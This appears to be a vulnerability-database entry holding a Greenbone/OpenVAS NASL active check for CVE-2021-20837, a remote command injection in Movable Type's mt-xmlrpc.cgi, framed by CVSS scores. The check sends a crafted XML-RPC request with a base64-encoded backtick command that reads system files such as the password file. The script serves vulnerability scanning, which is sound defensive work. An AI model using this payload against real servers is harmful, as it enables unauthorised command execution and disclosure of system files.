CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.7%
Movable Type is prone to a remote code execution (RCE) vulnerability.
# Copyright (C) 2021 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:sixapart:movabletype";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.147061");
script_version("2021-11-02T14:03:34+0000");
script_tag(name:"last_modification", value:"2021-11-02 14:03:34 +0000 (Tue, 02 Nov 2021)");
script_tag(name:"creation_date", value:"2021-11-01 08:18:10 +0000 (Mon, 01 Nov 2021)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2021-10-28 18:17:00 +0000 (Thu, 28 Oct 2021)");
script_cve_id("CVE-2021-20837");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Movable Type RCE Vulnerability (Oct 2021) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2021 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_movabletype_detection.nasl", "os_detection.nasl");
script_mandatory_keys("sixapart/movabletype/http/detected");
script_tag(name:"summary", value:"Movable Type is prone to a remote code execution (RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"Movable Type is prone to an unauthenticated remote command
injection in mt-xmlrpc.cgi.");
script_tag(name:"impact", value:"An unauthenticated attacker may execute arbitrary commands.");
script_tag(name:"affected", value:"Movable Type version 4.0 and later.");
script_tag(name:"solution", value:"See the referenced vendor advisory for a solution.");
script_xref(name:"URL", value:"https://movabletype.org/news/2021/10/mt-782-683-released.html");
script_xref(name:"URL", value:"https://nemesis.sh/posts/movable-type-0day/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
url = dir + "/mt/mt-xmlrpc.cgi";
headers = make_array("Content-Type", "text/xml; charset=UTF-8");
# Current payload only for Linux
files = traversal_files("linux");
foreach pattern (keys(files)) {
payload = base64(str: "`cat /" + files[pattern] + "`");
data = '<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>' + payload + '</base64>
</value>
</param>
</params>
</methodCall>';
req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: pattern, string: res)) {
info['HTTP Method'] = "POST";
info['Affected URL'] = http_report_vuln_url(port: port, url: url, url_only: TRUE);
info['HTTP "POST" body'] = data;
info['HTTP "Content-Type" header'] = headers["Content-Type"];
report = 'By doing the following HTTP request:\n\n';
report += text_format_table(array: info) + '\n\n';
report += 'it was possible to read the file "/' + files[pattern] + '" from the target host.';
report += '\n\nResult:\n\n' + res;
expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
security_message(port: port, data: report, expert_info: expert_info);
exit(0);
}
}
exit(0);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.7%